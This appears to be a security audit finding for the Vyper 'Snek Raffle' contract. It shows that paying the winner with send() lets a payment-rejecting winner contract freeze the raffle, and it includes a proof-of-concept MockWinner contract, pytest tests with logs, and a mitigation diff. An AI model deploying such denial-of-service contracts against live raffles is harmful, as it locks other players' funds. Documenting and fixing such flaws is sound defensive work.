.
    .
    .
    @internal
    def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
        index_of_winner: uint256 = random_words[0] % len(self.players)
        recent_winner: address = self.players[index_of_winner]
        self.recent_winner = recent_winner
        self.players = []
        self.raffle_state = RaffleState.OPEN
        self.last_timestamp = block.timestamp
        rarity: uint256 = random_words[0] % 3
        self.tokenIdToRarity[ERC721._total_supply()] = rarity
        log WinnerPicked(recent_winner)
        ERC721._mint(recent_winner, ERC721._total_supply())
        send(recent_winner, self.balance)   
----------^
    .
    .
    .
A malicious user who is aware of this vulnerability could perform a Denial of Service (DoS) attack on the Snek Raffle. See the Proof of Concept (PoC) below for illustration.
PoC send causes DoS
- Create a Vyper Smart Contract called - MockWinnerinside- contracts/testdirectory...
 
"""
@title MockWinner
@author theirrationalone
@notice Let's check reward failure
"""
ERROR_JUST_DENYING_PAYMENTS: constant(String[40]) = "MockWinner: Just Denying Payments!"
@deploy
def __init__():
    pass
@external
@payable
def __default__():
    assert False, ERROR_JUST_DENYING_PAYMENTS
- 
Save the file. 
- 
Go to tests/conftest.pyand create a fixture...
 
    MOCK_WINNER_LOCATION = "./contracts/test/MockWinner.vy"
    @pytest.fixture
    def mock_winner_boa() -> boa.contracts.vyper.vyper_contract.VyperContract:
        return boa.load(MOCK_WINNER_LOCATION)
- save the file. 
- Go to - tests/snek_raffle_test.pyand put the following test into that file...
 
    def test_fails_if_winner_do_not_accept_reward_and_causes_dos(raffle_boa, vrf_coordinator_boa, mock_winner_boa, entrance_fee):
    
    boa.env.set_balance(mock_winner_boa.address, STARTING_BALANCE)
    print("\n\nmock contract balance before enter into raffle: ", boa.env.get_balance(mock_winner_boa.address))
    print("Raffle state                                 : ", raffle_boa.get_raffle_state())
    
    with boa.env.prank(mock_winner_boa.address):
            raffle_boa.enter_raffle(value=entrance_fee)
    print("mock contract balance after enter into raffle: ", boa.env.get_balance(mock_winner_boa.address))
    boa.env.time_travel(seconds=INTERVAL + 1)
    raffle_boa.request_raffle_winner()
    print("Raffle state after requesting winner         : ", raffle_boa.get_raffle_state())
    with boa.reverts():
        vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
    recent_winner = raffle_boa.get_recent_winner()
    print("mock contract address                        : ", mock_winner_boa.address)
    print("recent winner                                : ", recent_winner)
    print("winner balance                               : ", boa.env.get_balance(recent_winner))
    print("mock contract balance after winning raffle   : ", boa.env.get_balance(recent_winner))
    
    print("Raffle state                                 : ", raffle_boa.get_raffle_state())
- save the file, and open the terminal and execute the following command (Make sure venv for vyper is activated) 
pytest -v tests/snek_raffle_test.py::test_fails_if_winner_do_not_accept_reward_and_causes_dos -s
- See the logs... 
    ==================================================================== test session starts =====================================================================
    platform linux -- Python 3.10.12, pytest-8.0.2, pluggy-1.4.0 -- /home/theirrationalone/vyperenv/bin/python
    cachedir: .pytest_cache
    hypothesis profile 'default' -> database=DirectoryBasedExampleDatabase(PosixPath('/home/theirrationalone/first-flights/2024-03-snek-raffle/.hypothesis/examples'))
    rootdir: /home/theirrationalone/first-flights/2024-03-snek-raffle
    plugins: titanoboa-0.1.8, cov-4.1.0, hypothesis-6.98.17
    collected 1 item
    tests/snek_raffle_test.py::test_fails_if_winner_do_not_accept_reward_and_causes_dos
    mock contract balance before enter into raffle:  1000000000000000000
    Raffle state                                  :  1
    mock contract balance after enter into raffle :  0
    Raffle state after requesting winner          :  2
    mock contract address                         :  0xB822167C7EefF0B53DcfDEE2D8fe73dEDB25505b
    recent winner                                 :  0x0000000000000000000000000000000000000000
    winner balance                                :  0
    mock contract balance after winning raffle    :  0
    Raffle state                                  :  2
    PASSED
    ===================================================================== 1 passed in 1.62s ======================================================================
- As evident from the successful passing of the test, it indicates a Denial of Service (DoS) vulnerability. 
 
The mitigation for this issue is straightforward. We can emit/log an event if a winner rejects the reward payment and allow the reward amount to remain in the raffle, making it withdrawable only by the deployer or owner of the raffle. This approach ensures that the raffle can continue and remain open for subsequent spins.
    .
    .
    .
    ## Immutables
    VRF_COORDINATOR: immutable(VRFCoordinatorV2)
    GAS_LANE: immutable(bytes32)
    SUBSCRIPTION_ID: immutable(uint64)
    ENTRANCE_FEE: immutable(uint256)
    RAFFLE_DURATION: immutable(uint256)
+   OWNER: immutable(address)
    .
    .
    .
    # Events
    event RequestedRaffleWinner:
        request_id: indexed(uint256)
    event RaffleEntered:
        player: indexed(address)
    event WinnerPicked:
        player: indexed(address)
+   event WinnerDeniedPayment:
+       winner: indexed(address)
+       reward: indexed(uint256)
    # Constructor
    @deploy
    @payable
    def __init__(
        subscription_id: uint64,
        gas_lane: bytes32,  # keyHash
        entrance_fee: uint256,
        vrf_coordinator_v2: address,
    ):
        ERC721.__init__("Snek Raffle", "SNEK", "", "snek raffle", "v0.0.1")
+       OWNER = msg.sender
        SUBSCRIPTION_ID = subscription_id
        GAS_LANE = gas_lane
        ENTRANCE_FEE = entrance_fee
        VRF_COORDINATOR = VRFCoordinatorV2(vrf_coordinator_v2)
        RAFFLE_DURATION = 86400 # ~1 day
        self.raffle_state = RaffleState.OPEN
        self.last_timestamp = block.timestamp
        self.rarityToTokenURI[COMMON] = COMMON_SNEK_URI
        self.rarityToTokenURI[RARE] = RARE_SNEK_URI
        self.rarityToTokenURI[LEGEND] = LEGEND_SNEK_URI
    .
    .
    .
    @internal
    def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
+       playersLength: uint256 = len(self.players)
-       index_of_winner: uint256 = random_words[0] % len(self.players)
+       index_of_winner: uint256 = random_words[0] % playersLength
        recent_winner: address = self.players[index_of_winner]
        self.recent_winner = recent_winner
+       reward_amount: uint256 = playersLength * ENTRANCE_FEE
        self.players = []
        self.raffle_state = RaffleState.OPEN
        self.last_timestamp = block.timestamp
        rarity: uint256 = random_words[0] % 3
        self.tokenIdToRarity[ERC721._total_supply()] = rarity
        log WinnerPicked(recent_winner)
        ERC721._mint(recent_winner, ERC721._total_supply())
-       send(recent_winner, self.balance)
+       success: bool = raw_call(recent_winner, EMPTY_BYTES, value=reward_amount, revert_on_failure=False)
+       if success != True:
+           log WinnerDeniedPayment(recent_winner, reward_amount)
    .
    .
    .
+   @external
+    def withdraw_excess():
+       if msg.sender == OWNER:
+           withdraw_amount: uint256 = self.balance - len(self.players) * ENTRANCE_FEE
+           success: bool = raw_call(msg.sender, EMPTY_BYTES, value=withdraw_amount, revert_on_failure=False)
+           assert success, ERROR_TRANSFER_FAILED
    .
    .
    .
DoS Mitigated
- Create a Vyper Smart Contract called - MockWinnerinside- contracts/testdirectory...
 
"""
@title MockWinner
@author theirrationalone
@notice Let's check reward failure
"""
ERROR_JUST_DENYING_PAYMENTS: constant(String[40]) = "MockWinner: Just Denying Payments!"
@deploy
def __init__():
    pass
@external
@payable    
def __default__():
    
    assert False, ERROR_JUST_DENYING_PAYMENTS
- 
Save the file. 
- 
Go to tests/conftest.pyand create a fixture...
 
    MOCK_WINNER_LOCATION = "./contracts/test/MockWinner.vy"
    @pytest.fixture
    def mock_winner_boa() -> boa.contracts.vyper.vyper_contract.VyperContract:
        return boa.load(MOCK_WINNER_LOCATION)
- save the file. 
- Go to - tests/snek_raffle_test.pyand put the following test into that file...
 
    def test_fails_if_winner_do_not_accept_reward_and_causes_dos_mitigation(raffle_boa, vrf_coordinator_boa, mock_winner_boa, entrance_fee):
    
    boa.env.set_balance(mock_winner_boa.address, STARTING_BALANCE)
    print("\n\nmock contract balance before enter into raffle  : ", boa.env.get_balance(mock_winner_boa.address))
    print("Raffle state                                    : ", raffle_boa.get_raffle_state())
    
    with boa.env.prank(mock_winner_boa.address):
            raffle_boa.enter_raffle(value=entrance_fee)
    print("mock contract balance after enter into raffle   : ", boa.env.get_balance(mock_winner_boa.address))
    boa.env.time_travel(seconds=INTERVAL + 1)
    raffle_boa.request_raffle_winner()
    print("Raffle state after requesting winner            : ", raffle_boa.get_raffle_state())
    
    vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
    recent_winner = raffle_boa.get_recent_winner()
    print("mock contract address                           : ", mock_winner_boa.address)
    print("recent winner                                   : ", recent_winner)
    print("winner balance                                  : ", boa.env.get_balance(recent_winner))
    print("mock contract balance after winning raffle      : ", boa.env.get_balance(recent_winner))
    
    print("Raffle state                                    : ", raffle_boa.get_raffle_state())
    print("Raffle balance before owner withdrawal          : ", boa.env.get_balance(raffle_boa.address))
    raffle_boa.withdraw_excess()
    print("Raffle balance after owner withdrawal           : ", boa.env.get_balance(raffle_boa.address))
- save the file, and open the terminal and execute the following command (Make sure venv for vyper is activated) 
pytest -v tests/snek_raffle_test.py::test_fails_if_winner_do_not_accept_reward_and_causes_dos_mitigation -s
- See the logs... 
    ==================================================================== test session starts =====================================================================
    platform linux -- Python 3.10.12, pytest-8.0.2, pluggy-1.4.0 -- /home/theirrationalone/vyperenv/bin/python
    cachedir: .pytest_cache
    hypothesis profile 'default' -> database=DirectoryBasedExampleDatabase(PosixPath('/home/theirrationalone/first-flights/2024-03-snek-raffle/.hypothesis/examples'))
    rootdir: /home/theirrationalone/first-flights/2024-03-snek-raffle
    plugins: titanoboa-0.1.8, cov-4.1.0, hypothesis-6.98.17
    collected 1 item
    tests/snek_raffle_test.py::test_fails_if_winner_do_not_accept_reward_and_causes_dos_mitigation
    mock contract balance before enter into raffle  :  1000000000000000000
    Raffle state                                    :  1
    mock contract balance after enter into raffle   :  0
    Raffle state after requesting winner            :  2
    mock contract address                           :  0xB822167C7EefF0B53DcfDEE2D8fe73dEDB25505b
    recent winner                                   :  0xB822167C7EefF0B53DcfDEE2D8fe73dEDB25505b
    winner balance                                  :  0
    mock contract balance after winning raffle      :  0
    Raffle state                                    :  1
    Raffle balance before owner withdrawal          :  1000000000000000000
    Raffle balance after owner withdrawal           :  0
    PASSED
    ===================================================================== 1 passed in 1.66s ======================================================================
- As evident from the successful passing of the test, Raffle is free again and ready for future spins.